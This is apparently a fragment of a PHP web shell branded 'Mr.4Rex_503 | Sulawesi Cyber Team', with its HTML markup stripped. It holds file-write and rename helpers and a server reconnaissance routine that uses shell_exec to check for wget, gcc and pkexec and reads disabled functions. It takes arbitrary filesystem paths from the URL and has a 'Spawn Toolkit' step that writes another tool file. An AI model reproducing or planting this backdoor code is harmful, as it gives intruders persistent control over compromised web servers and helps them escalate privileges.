document.addEventListener('DOMContentLoaded', () => { showToast('".addslashes($message)."'); });";
}
// --- Fungsi Helper Asli ---
function saveme($name, $content) {
$open = fopen($name, "w");
if ($open) {
fwrite($open, $content);
fclose($open);
return true;
}
return false;
}
function renames($item, $path, $name) {
?>
Rename:
'$name' successfully renamed");
echo "";
} else {
echo "Rename failed
";
}
}
}
function Size($path) {
$bytes = sprintf('%u', filesize($path));
if ($bytes > 0) {
$unit = intval(log($bytes, 1024));
$units = array('B', 'KB', 'MB', 'GB');
if (array_key_exists($unit, $units) === true) {
return sprintf('%d %s', $bytes / pow(1024, $unit), $units[$unit]);
}
}
return $bytes;
}
function infomin() {
$curl = (function_exists("curl_version")) ? "ON" : "OFF";
$wget = (@shell_exec("wget --help")) ? "ON" : "OFF";
$python = (@shell_exec("python --help")) ? "ON" : "OFF";
$perl = (@shell_exec("perl --help")) ? "ON" : "OFF";
$ruby = (@shell_exec("ruby --help")) ? "ON" : "OFF";
$gcc = (@shell_exec("gcc --help")) ? "ON" : "OFF";
$pkexec = (@shell_exec("pkexec --version")) ? "ON" : "OFF";
$disfuncs = @ini_get("disable_functions");
$showit = (!empty($disfuncs)) ? "$disfuncs" : "NONE";
echo "";
echo "
System Info
";
echo "
";
echo "OS: ".php_uname()."
";
echo "SERVER IP: ".$_SERVER["SERVER_ADDR"]."
";
echo "SOFTWARE: ".$_SERVER["SERVER_SOFTWARE"]."
";
echo "Disabled Functions: $showit
";
echo "TOOLS: CURL: $curl | WGET: $wget | PERL: $perl | RUBY: $ruby | PYTHON: $python | GCC: $gcc | PKEXEC: $pkexec";
echo "
";
}
function hi_permission($items) {
$perms = fileperms($items);
if (($perms & 0xC000) == 0xC000) { $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; }
elseif (($perms & 0x8000) == 0x8000) { $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; }
elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; }
elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; } else { $info = 'u'; }
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
return $info;
}
// --- MAIN LOGIC ---
$path = isset($_GET["path"]) ? $_GET["path"] : getcwd();
$action = isset($_GET["action"]) ? $_GET["action"] : "";
?>
Mr.4Rex_503 | Sulawesi Cyber Team
";
if ($save) {
showToast("Spawn Toolkit tools.php success");
echo "";
} else {
echo "Spawn Toolkit failed";
}
echo "";
}
?>